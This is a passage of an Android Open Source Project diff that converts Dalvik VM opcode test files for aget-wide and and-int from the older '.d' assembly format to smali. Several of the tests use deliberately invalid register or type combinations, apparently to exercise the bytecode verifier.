-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_1.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.smali
new file mode 100644
index 0000000..424b1c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_1.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.d
deleted file mode 100644
index 5bbac0d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_10.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JF)J
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.smali
new file mode 100644
index 0000000..45a29f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_10.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JF)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.d
deleted file mode 100644
index e174a37..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_11.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       aget-wide v7, v6, v7
-       return-wide v7
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.smali
new file mode 100644
index 0000000..9b7300a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_11.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v7, v6, v7
+       return-wide v7
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.d
deleted file mode 100644
index 5372845..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_2.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)D
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.smali
new file mode 100644
index 0000000..c0ce4cdb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_2.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)D
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.d
deleted file mode 100644
index cf462df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_3.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       const-wide v2, 1.0
-       aget-wide v0, v6, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.smali
new file mode 100644
index 0000000..29f243b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_3.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       const-wide v2, 1.0
+       aget-wide v0, v6, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.d
deleted file mode 100644
index 1c407ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_5.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       const-wide v2, 10
-       aget-wide v0, v6, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.smali
new file mode 100644
index 0000000..382ddb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_5.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       const-wide v2, 10
+       aget-wide v0, v6, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.d
deleted file mode 100644
index 39054f3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_6.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)J
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.smali
new file mode 100644
index 0000000..8530969
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_6.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.d
deleted file mode 100644
index ace153e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_7.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)J
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.smali
new file mode 100644
index 0000000..f6a1464
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_7.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.d
deleted file mode 100644
index dfe1b21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_8.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       aget-wide v0, v6, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.smali
new file mode 100644
index 0000000..4e6ffb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_8.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v0, v6, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.d
deleted file mode 100644
index fe00c45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_9.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       aget-wide v0, v6, v8
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.smali
new file mode 100644
index 0000000..72afc2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_9.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v0, v6, v8
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.d
deleted file mode 100644
index b1f2984..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_1.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.smali
new file mode 100644
index 0000000..b2c175d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_1.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.d
deleted file mode 100644
index f57ddbc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       and-int v2, v0, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.smali
new file mode 100644
index 0000000..7bded18
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       and-int v2, v0, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.d
deleted file mode 100644
index 033b3af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_3.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
